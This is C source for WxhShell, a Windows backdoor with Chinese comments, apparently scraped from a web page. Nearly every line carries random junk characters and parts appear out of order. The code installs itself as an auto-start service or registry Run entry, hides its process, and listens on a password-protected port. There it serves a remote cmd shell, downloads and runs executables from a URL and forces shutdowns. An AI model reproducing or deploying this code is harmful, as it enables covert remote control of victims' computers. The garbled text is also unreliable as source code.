    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ca]V%g(  
    else { %f-Uwq&}Y"  
    closesocket(wsh); xZE%Gf_U  
    ExitThread(0); w^EUBRI-  
    } Jxo#sV-  
    break; oS0rP'V^  
    } .&Ik(792Z&  
  // 获取shell w]ihGh  
  case 's': { g&]n:qx  
    CmdShell(wsh); }LA7ku  
    closesocket(wsh); *K#Ci1Q  
    ExitThread(0); b<E0|VW  
    break; iJaA&z5sr  
  } K lbUs\E  
  // 退出 eVvDis  
  case 'x': { B[IqLD'6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?S2!'L  
    CloseIt(wsh); &al\8  
    break; E|9'{3$  
    } o0B3G  
  // 离开  \LP?,<  
  case 'q': { )4O* D92  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8|2I/#F}]  
    closesocket(wsh); a? <Ar#)j  
    WSACleanup(); 2;`F` }BA  
    exit(1); %YLyh?J  
    break; J_@`:l0,z  
        } kf -/rC)>  
  } .>^iU}  
  } wM0P#+bA\  
n[c/L8j  
  // 提示信息 oc0z1u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O{&wqV5m"  
} hcrx(oJ5  
  } EG oe<.  
#- z(]Y,y  
  return; yS"; q  
} R1j)0b6cQ%  
l ]CnLqf&  
// shell模块句柄 <pp<%~_Z  
int CmdShell(SOCKET sock) y^tp^  
{ MU#$tXmnC  
STARTUPINFO si; 'i7!"Y6>  
ZeroMemory(&si,sizeof(si)); bqI| wGCA"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~'3hK4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O ]Stf7]%;  
PROCESS_INFORMATION ProcessInfo; $@}\T  
char cmdline[]="cmd"; <f/wWu}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /sa\Ze;E  
  return 0; =2tl149m/z  
} ANWUo}j  
(.J8Q  
// 自身启动模式 h_?#.z0ih;  
int StartFromService(void) }29Cm$p  
{ ^[u*m%UB  
typedef struct lV )SOs$  
{ A_}%YHb  
  DWORD ExitStatus; h 1 `yW#%  
  DWORD PebBaseAddress; EC0M0qQ  
  DWORD AffinityMask; _>)=c<HL  
  DWORD BasePriority; eK_Yt~dj  
  ULONG UniqueProcessId; ypA)G/;  
  ULONG InheritedFromUniqueProcessId; :1(UC}v  
}   PROCESS_BASIC_INFORMATION; g$eZT{{W  
;x~[om21;  
PROCNTQSIP NtQueryInformationProcess; $KGpcl  
*d/,Y-tl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'h~I#S4!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K-f\nr  
jy2@t*  
  HANDLE             hProcess; G ?&T0  
  PROCESS_BASIC_INFORMATION pbi; j9IeqlL  
v*.#LJEm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OcLFVD=  
  if(NULL == hInst ) return 0; z,#3YC{'  
J&jNONu?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xgQ]#{ tG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SjRR8p<   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [AHZOA   
;N/=)m  
  if (!NtQueryInformationProcess) return 0; O&c~7tM%  
\ mt> R[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }bxx]rDl  
  if(!hProcess) return 0; xw%'R-  
7Yjxx+X9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9X2 lH~C  
_-.~>C  
  CloseHandle(hProcess); wcI4Y0+J  
[Y^1}E*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )xMP  
if(hProcess==NULL) return 0; F< #!83*%  
/Vy8%   
HMODULE hMod; VSI.c`=,  
char procName[255]; 1q[vNP=g&  
unsigned long cbNeeded; )5M9Ro7  
!Ci\Zg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V,@Y,  
s3LR6Z7;i  
  CloseHandle(hProcess); {lhdropd  
bC mhlSNi  
if(strstr(procName,"services")) return 1; // 以服务启动 G2x5%`   
uPtHCP6  
  return 0; // 注册表启动 /N>bEr4w  
} 7 i |_PP_  
1jhGshhp  
// 主模块 #VwA?$4g`  
int StartWxhshell(LPSTR lpCmdLine) Je6=N3)  
{ X|WAUp?  
  SOCKET wsl; Kb#}f/  
BOOL val=TRUE; ]v^;]0vcr  
  int port=0; \q8D7/q  
  struct sockaddr_in door; B !hrr  
"16-K%}  
  if(wscfg.ws_autoins) Install(); I2!0,1Q  
Q(}TN,N  
port=atoi(lpCmdLine); n+EK}= DK  
p5KM(N6f  
if(port<=0) port=wscfg.ws_port; "DFj4XKXY9  
'CH|w~E  
  WSADATA data; N>fC"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ='7n  
U?6YY` A8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hr<E%J1k%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U/B1/96lJ  
  door.sin_family = AF_INET; up~l4]b+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  +McKyEa  
  door.sin_port = htons(port); l.i"Z pik  
S!GjCog^J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qO<'_7TN[  
closesocket(wsl); R0y@#}JH  
return 1; "mA Vkq~  
} 6t5)rlT  
N.q4Ar[x#p  
  if(listen(wsl,2) == INVALID_SOCKET) { eo4<RDe<  
closesocket(wsl); yiUJ!m  
return 1; j~G^J  
} G6zFCgFJ^y  
  Wxhshell(wsl); 4 []R?lL  
  WSACleanup(); HRx%m1H  
-K`0`n}  
return 0; t Ib?23K0  
yKO84cSl  
} WT!8.M;Kv  
&50Kn[  
// 以NT服务方式启动 B{W2D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G:.Nq,513  
{ 5FHpJlFK,  
DWORD   status = 0; g S;p::  
  DWORD   specificError = 0xfffffff; >R?EJ;h  
x#e(&OjN7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0+O)~>v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V|{ )P@Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sHe:h XG'  
  serviceStatus.dwWin32ExitCode     = 0; fp9ksxb@m  
  serviceStatus.dwServiceSpecificExitCode = 0; c3|;'s  
  serviceStatus.dwCheckPoint       = 0; R,A|"Q  
  serviceStatus.dwWaitHint       = 0; o><~.T=d&  
 UJoWTx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +*g[hRw[  
  if (hServiceStatusHandle==0) return; {R[lsdH(X  
DRi!WWivn  
status = GetLastError(); ##,i<  
  if (status!=NO_ERROR) V0L^pDLOV  
{ C9Fc(Y?_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (@M=W.M#  
    serviceStatus.dwCheckPoint       = 0; IqEY.2KN  
    serviceStatus.dwWaitHint       = 0; 6.~(oepu  
    serviceStatus.dwWin32ExitCode     = status; uavts9v<  
    serviceStatus.dwServiceSpecificExitCode = specificError; )xP]rOT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &P!^k0NJR  
    return; p7!q#o  
  } 2Z,;#t  
W #qM$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .F)b9d[?  
  serviceStatus.dwCheckPoint       = 0; vsoj] R$C  
  serviceStatus.dwWaitHint       = 0; +:It1`A~]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .gT@_.ZD9  
} M.d{:&@`%  
i(,R$AU  
// 处理NT服务事件,比如:启动、停止 .'"+CKD.N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hS +;HB,  
{ D2>EG~xWq  
switch(fdwControl) RGLwtN  
{ _J   
case SERVICE_CONTROL_STOP: jzEimKDE's  
  serviceStatus.dwWin32ExitCode = 0; C-_u; NEu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Pi}<pG~  
  serviceStatus.dwCheckPoint   = 0; Dw[w%uz  
  serviceStatus.dwWaitHint     = 0; ClVMZ  
  { tq@<8?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $F G4wA  
  } Z#>k:v  
  return; 4_t aCK  
case SERVICE_CONTROL_PAUSE: `iI YZ3i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I U 4[}x  
  break; gNLjk4H,S[  
case SERVICE_CONTROL_CONTINUE: 9z_Gf]J~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uVu`TgbZ  
  break; orzdq  
case SERVICE_CONTROL_INTERROGATE: !M^pL|  
  break; h{<^?=  
}; D9H|]W~   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %F&j B  
} p$[*GXR4  
LUo3y'  
// 标准应用程序主函数 _E'M(.B<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,=oq)Fm]  
{ pBL{DgX  
.D4 D!!  
// 获取操作系统版本 0yAvAx  
OsIsNt=GetOsVer(); %7 J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %iD>^Dp  
zq4mT;rqz  
  // 从命令行安装 M_79\Gz"  
  if(strpbrk(lpCmdLine,"iI")) Install(); B}P,sFghw  
s|,gn5  
  // 下载执行文件 ~ xf9 ml  
if(wscfg.ws_downexe) { >t*zY~R.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hH[JY(V  
  WinExec(wscfg.ws_filenam,SW_HIDE); i,4JS,82I  
} U}Xc@- \ ?  
z+-k4  
if(!OsIsNt) { Uut,cQ". d  
// 如果时win9x,隐藏进程并且设置为注册表启动 Nb]qY>K  
HideProc(); 'Fc&"(!||  
StartWxhshell(lpCmdLine); } doj4  
} L9r 3jz  
else 79x^zqLb  
  if(StartFromService()) 'R=o,=  
  // 以服务方式启动 f4g(hjETbu  
  StartServiceCtrlDispatcher(DispatchTable); %&gx@ \v  
else uft~+w P  
  // 普通方式启动 ARU,Wtj#  
  StartWxhshell(lpCmdLine); &G<ZK9Ot}0  
Z6h.gaQ7 H  
return 0; u5R^++  
} {v`wQM[  
mup3ua]!  
X^xu$d6   
rSEJ2%iF*  
=========================================== zNXk dw  
mLq?-&F  
}qlz^s  
%0u7pk  
<:&w/NjbI  
v<2+yZ M  
"  K8 ThZY%  
cL1cBWd  
#include <stdio.h> MESQAsx%  
#include <string.h> qx!IlO  
#include <windows.h> `>#X,Lw$g  
#include <winsock2.h> +[F9Q,bH@b  
#include <winsvc.h> B2Orw8F  
#include <urlmon.h> HQUL?URt  
| c8u  
#pragma comment (lib, "Ws2_32.lib")  =6A<>  
#pragma comment (lib, "urlmon.lib") nK96A.B%p  
A6UtpyS*'  
#define MAX_USER   100 // 最大客户端连接数 <XLATS8Y  
#define BUF_SOCK   200 // sock buffer 0cS.|\ZTA  
#define KEY_BUFF   255 // 输入 buffer _` D_0v(X  
>2C;5ba  
#define REBOOT     0   // 重启 #Ta@A~.L  
#define SHUTDOWN   1   // 关机 J J3vC  
[R Ch7FE23  
#define DEF_PORT   5000 // 监听端口 0`qq"j[6a  
&<>A  
#define REG_LEN     16   // 注册表键长度 oNEU?+  
#define SVC_LEN     80   // NT服务名长度 I'yhxymZ;  
% vP{C  
// 从dll定义API Ic r'l$PE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bC@b9opD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); };KmMpBn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "3>#[o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rB7(&(n>^  
-pjL7/gx  
// wxhshell配置信息 #pVk%5N  
struct WSCFG { )1]C%)zn  
  int ws_port;         // 监听端口 K8RloDjk_A  
  char ws_passstr[REG_LEN]; // 口令 {Rz`)qqE  
  int ws_autoins;       // 安装标记, 1=yes 0=no -51L!x}1c  
  char ws_regname[REG_LEN]; // 注册表键名 Em?skUnG,  
  char ws_svcname[REG_LEN]; // 服务名 ~O|0.)71]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 97&6iTYA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \Lc]6?,R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nrxN_0 R%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *Js<VR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dZYS5_wr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }Jtaq[y\r  
]O\6.>H  
}; J{1O\i  
7u}r^+6_o  
// default Wxhshell configuration Z?@07Y[|K  
struct WSCFG wscfg={DEF_PORT, Aqc(  
    "xuhuanlingzhe", ~/Ry=8   
    1, hQ\]vp7V  
    "Wxhshell", [AGm%o=)  
    "Wxhshell", m[7a~-3:J  
            "WxhShell Service", g 08 `=g  
    "Wrsky Windows CmdShell Service",   C[Fh^  
    "Please Input Your Password: ", O4#zsr:"  
  1, @z,'IW74V  
  "http://www.wrsky.com/wxhshell.exe", gGX/p6"  
  "Wxhshell.exe" v0y7N_U5n  
    }; q)vD "{0.  
<zUmcZ  
// 消息定义模块 Op0 #9W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vSyN_AB?$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ILpB:g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W"0#  
char *msg_ws_ext="\n\rExit."; N" 8o0>  
char *msg_ws_end="\n\rQuit."; C/w;g3  
char *msg_ws_boot="\n\rReboot..."; 61KJ( rSX3  
char *msg_ws_poff="\n\rShutdown..."; (+U!# T]'D  
char *msg_ws_down="\n\rSave to "; rm cy-}e  
p$=3&qR 6  
char *msg_ws_err="\n\rErr!"; #}gc6T~0  
char *msg_ws_ok="\n\rOK!"; A< Na,EC  
nxJhK T  
char ExeFile[MAX_PATH]; xM*v!J,  
int nUser = 0; ?+!KucTF  
HANDLE handles[MAX_USER]; +g;G*EP7*  
int OsIsNt; 5_O.p3$tV  
vxm`[s|QC  
SERVICE_STATUS       serviceStatus; Pf!K()<uJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ry(!< w,  
bw[!f4~  
// 函数声明 9}\T?6?8pX  
int Install(void); UFl*^j_)]  
int Uninstall(void); l nZ=< T  
int DownloadFile(char *sURL, SOCKET wsh); `?$R_uFh:  
int Boot(int flag); x O)nS _I  
void HideProc(void); N8vWwN[3  
int GetOsVer(void); " pH+YqJ$  
int Wxhshell(SOCKET wsl); olJ9Kfc0  
void TalkWithClient(void *cs); 7~65@&P>  
int CmdShell(SOCKET sock); wVPq1? 9  
int StartFromService(void); MHbRG_zW  
int StartWxhshell(LPSTR lpCmdLine); ^NCH)zK]v  
<E ^:{J95  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dV5 $L e#y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QVP $e`4  
 qV}zV\Nz  
// 数据结构和表定义 L.GpQJ8u  
SERVICE_TABLE_ENTRY DispatchTable[] = %mq]M  
{ @M,_mX  
{wscfg.ws_svcname, NTServiceMain}, 4j | vzyc  
{NULL, NULL} ZNUV Bi  
}; o1Xk\R{  
"L ,FUo^&  
// 自我安装 e"b F"L  
int Install(void) p$ko=fo-*_  
{ }:BF3cH> 0  
  char svExeFile[MAX_PATH]; \\'!<Bn2d  
  HKEY key; |%tR#!&[:g  
  strcpy(svExeFile,ExeFile); E`X+fJx  
(zhmZm  
// 如果是win9x系统,修改注册表设为自启动 [$V_qFv{  
if(!OsIsNt) { #mj+|/0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mg;qG@?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lfGiw^  
  RegCloseKey(key); & .#0jb1r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bH= 5[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T.{I~_  
  RegCloseKey(key); ('gjf l  
  return 0; X{ Nif G  
    } +zlaYHj  
  } 8U8"k  
} ;Y~;G7  
else { 3QF!fll^  
|S4yol  
// 如果是NT以上系统,安装为系统服务 kL&^/([9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bT>^% H3  
if (schSCManager!=0) k_^d7yH  
{ b\^.5SEw  
  SC_HANDLE schService = CreateService 9M7{.XR,  
  ( gy>2=d  
  schSCManager, :n>h[{ o%  
  wscfg.ws_svcname, <oR Nd3d  
  wscfg.ws_svcdisp, LAr6J  
  SERVICE_ALL_ACCESS, P_qxw-s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O" z=+79q  
  SERVICE_AUTO_START,  b'ew Od=  
  SERVICE_ERROR_NORMAL, eLt6Hg)s`9  
  svExeFile, EatpORq  
  NULL, N7jAPI@a\i  
  NULL, u?aq' "t  
  NULL, $GYy[-.`  
  NULL, F\XzP\  
  NULL N),Zb^~nw  
  ); !|`YNsR  
  if (schService!=0) 7{b|+0W  
  { MBa/-fD  
  CloseServiceHandle(schService); H\ NO4=  
  CloseServiceHandle(schSCManager); lh5k@\X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }X AoMp  
  strcat(svExeFile,wscfg.ws_svcname); x^SE>dy ?z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zZDr=6|r_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #cApk  
  RegCloseKey(key); =XYfzR  
  return 0; !867DX3*  
    } UL{Xe&sT  
  } l,d8% \  
  CloseServiceHandle(schSCManager); ,2]6cP(6qQ  
} &QE* V  
} =,(Ba'  
+}:c+Z<  
return 1; 7#<|``]zNf  
} 7gJ`G@y  
I=b#tUBh8  
// 自我卸载 kDm=Cjxv  
int Uninstall(void) Et7AAV*8g  
{ u2F 3>s  
  HKEY key; QALMF rWH  
+]AE}UXZoh  
if(!OsIsNt) { "cti(0F-d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'r'uR5jR  
  RegDeleteValue(key,wscfg.ws_regname); *Fq Nzly  
  RegCloseKey(key); qC]D9 A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mT~:k}u~W  
  RegDeleteValue(key,wscfg.ws_regname); 1ra}^H}  
  RegCloseKey(key); JM M\  
  return 0; <;acWT?(  
  } W<58TCd  
} M.t5,NJ  
} 6)H70VPJ  
else { aeg5ij-]u@  
< 'T6k\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =JEnK_@?K\  
if (schSCManager!=0) !.F`8OD`u  
{ v1;`.PWD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); []u!piW  
  if (schService!=0) 2O4U ytN  
  { !WrUr]0IP  
  if(DeleteService(schService)!=0) { <Q%o}m4Kt  
  CloseServiceHandle(schService); *%g*Np_P  
  CloseServiceHandle(schSCManager); E|ZY2&J`4  
  return 0; ogPxj KSI  
  } fOrqY,P'  
  CloseServiceHandle(schService); $H-s(3vq  
  } o6svSS  
  CloseServiceHandle(schSCManager); X, J.!:4`  
} & 8e~<  
} N=|w]t0*yc  
RMsr7M4<91  
return 1; 3"q%-M|+Q  
} ZfMJU  
-V<i4X<|,+  
// 从指定url下载文件 d<#Xqc  
int DownloadFile(char *sURL, SOCKET wsh) v6iV#yz3(  
{ }!B<MGBd  
  HRESULT hr; Th@L68  
char seps[]= "/"; \z<'6,b  
char *token; d<!bE(  
char *file; Kf(% aDYq  
char myURL[MAX_PATH]; 9t;aJFI  
char myFILE[MAX_PATH]; 2\m+  
AEEy49e  
strcpy(myURL,sURL); 377$c;4 F  
  token=strtok(myURL,seps); A D~\/V&+  
  while(token!=NULL) _:=w6jCk  
  { P3(u+UI3  
    file=token; u\>Ed9^  
  token=strtok(NULL,seps); lHZf'P_Wx  
  } ptrLnJ|%  
?^k-)V  
GetCurrentDirectory(MAX_PATH,myFILE); 5>/,25 99  
strcat(myFILE, "\\"); y?Fh%%uNr  
strcat(myFILE, file); t?{E_70W  
  send(wsh,myFILE,strlen(myFILE),0); l6)*u[}E   
send(wsh,"...",3,0); 44wY5nYNt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >b<br  
  if(hr==S_OK) pH)V:BmJ  
return 0; bCc^)o/w  
else e,8C} 2  
return 1; HQTB4_K\  
!MQo= k  
} ^D/*Hp _  
jr'O4bo%  
// 系统电源模块 @l BR;B"  
int Boot(int flag) Ujb|| (W  
{ Ks9"U^bPs  
  HANDLE hToken; { 5h6nYu  
  TOKEN_PRIVILEGES tkp; N'|zPFk g  
TQYud'u/  
  if(OsIsNt) { %vn rLt$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \y#gh95  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pp #!yMxBr  
    tkp.PrivilegeCount = 1; 8vc4J5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O:#t> ;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yn4Xi@9Pri  
if(flag==REBOOT) { &vd9\Pp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "l2_7ZXsPT  
  return 0; fs7JA=?:  
} =<R77rnY&  
else { "'dt"x)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X]Sr]M^EK  
  return 0; kLADd"C  
} A5B 5pJ  
  } RG#  
  else { @(&ki~+   
if(flag==REBOOT) { - C8 h$P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n%@xnB $ZX  
  return 0; &c?-z}=G  
} f4]nz:2  
else { d;H1B/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pgs4/  
  return 0; xOPSw|!w  
} |OuZaCJG  
} !j( v-pQf"  
+X"TiA7{j  
return 1; Qx'a+kLu9  
} %GjF;dJ  
rsy'ZVLUj  
// win9x进程隐藏模块 X62z>mM  
void HideProc(void) yz,ak+wp  
{ 2u/(Q>#  
% UY=VE\F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -9vAY+s.  
  if ( hKernel != NULL ) {Km|SG[-q  
  { `L7 cS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hjaI&?w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); __'Z0?.4#  
    FreeLibrary(hKernel); B5P++aQ  
  } ~\Fde^1  
H\ 8.T:>  
return; ;m{[9i` 2  
} H Viu7kue`  
\D>'  
// 获取操作系统版本 ke'p8Gz  
int GetOsVer(void) boJQ3Xc  
{ 9F ).i  
  OSVERSIONINFO winfo; !\RR UH*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `p*7MZ9 -  
  GetVersionEx(&winfo); D?8t'3no  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o!wz:|\S  
  return 1; SL>>]A,E<`  
  else !V7VM_}@Y  
  return 0; J+w"{ O  
} -P@o>#Em  
ZLxe$.V_  
// 客户端句柄模块 ir3iW*5k  
int Wxhshell(SOCKET wsl) C[_{ $j(J  
{ Z:)\j.  
  SOCKET wsh; ex&&7$CXc  
  struct sockaddr_in client;  @X  
  DWORD myID; DM~Q+C=Yr  
G2 xYa$&][  
  while(nUser<MAX_USER) >{ne!  
{ jFbz:aUF  
  int nSize=sizeof(client); H /*^$>0Uo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u.1u/o1"  
  if(wsh==INVALID_SOCKET) return 1; nRb#M  
+SZ#s :#SE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Y2h vC  
if(handles[nUser]==0) I`p44}D3  
  closesocket(wsh); 8!S="_  
else #oJ9BgDry  
  nUser++; 6TlkPM$~2  
  } 2px l!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F#O.i,  
aG`G$3_wx  
  return 0; oRmN|d ~4  
} ].7)^  
`b# w3 2  
// 关闭 socket z^ KrR  
void CloseIt(SOCKET wsh) _+.z2} M  
{ :X,1KR  
closesocket(wsh); Xp4pN{he  
nUser--; JG0TbM1(Bt  
ExitThread(0); s <Ag8U8  
} LtXFGPQf  
(B7M*e  
// 客户端请求句柄 b"/P  
void TalkWithClient(void *cs) '~<D[](/F  
{ 11%^K=dq  
k0{Mq<V*%  
  SOCKET wsh=(SOCKET)cs; Cp_"PvTmT  
  char pwd[SVC_LEN]; z*I=  
  char cmd[KEY_BUFF]; i[T!{<  
char chr[1]; "72 _Sw  
int i,j; pV:X_M6  
h8 $lDFo  
  while (nUser < MAX_USER) { uRxo,.}c  
`?2S4lN/  
if(wscfg.ws_passstr) { 0 \&4?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A ElNf:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =cX &H  
  //ZeroMemory(pwd,KEY_BUFF); jbMzcn~ehI  
      i=0; KZsSTB6J  
  while(i<SVC_LEN) { V`G)8?%Vy  
SI4M<'fK  
  // 设置超时 )LKutN?tBy  
  fd_set FdRead;  G\ru%  
  struct timeval TimeOut; ,K,n{3]  
  FD_ZERO(&FdRead); $:{uF#  
  FD_SET(wsh,&FdRead); AQ'~EbH(  
  TimeOut.tv_sec=8; > ~J&i3  
  TimeOut.tv_usec=0; BQ2DQ7q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P)7SK&]r;=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m7cp0+Peo  
!n@Yg2w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eM*@}3  
  pwd=chr[0]; 6rq:jvlx$  
  if(chr[0]==0xd || chr[0]==0xa) { H+;>>|+:~  
  pwd=0; o~*% g.  
  break; <t.yn\G-w  
  } ,4)zn6tC  
  i++; v0apEjT  
    } "2o)1G  
"!+q0l1]@  
  // 如果是非法用户,关闭 socket /!P,o}l7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9]xOu Cb  
} d+\o>x|Y!Y  
[yW0U:m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VNp[J'a>VZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !c[?$#W4  
Nw/4z$].J  
while(1) { oDrfzm|[Y  
OtBVfA:[  
  ZeroMemory(cmd,KEY_BUFF); UQ}[2x(Kb  
xKv\z1ra  
      // 自动支持客户端 telnet标准   /hQTV!\u  
  j=0; jL<:N 8  
  while(j<KEY_BUFF) { )4toBDg"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); to|O]h2*U2  
  cmd[j]=chr[0];  |'aGj  
  if(chr[0]==0xa || chr[0]==0xd) { L 1H!o!*  
  cmd[j]=0; SRRqIQz  
  break; iT227v!s  
  } nxS|]  
  j++; 5N@k9x  
    } ;%0$3a  
m6a`OkP  
  // 下载文件 [U5[;BNRD  
  if(strstr(cmd,"http://")) { iV58 m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O&RW[ml*3  
  if(DownloadFile(cmd,wsh)) Pv|g.hH9m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mCb(B48]%X  
  else {^a"T'+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1hp`.!3]H  
  } iyKAw   
  else {  Tvqq#;I  
I 8TqK  
    switch(cmd[0]) { ywTt<;  
  7 XE&[o  
  // 帮助 L-? ?%_=  
  case '?': { -d1 YG[1|  
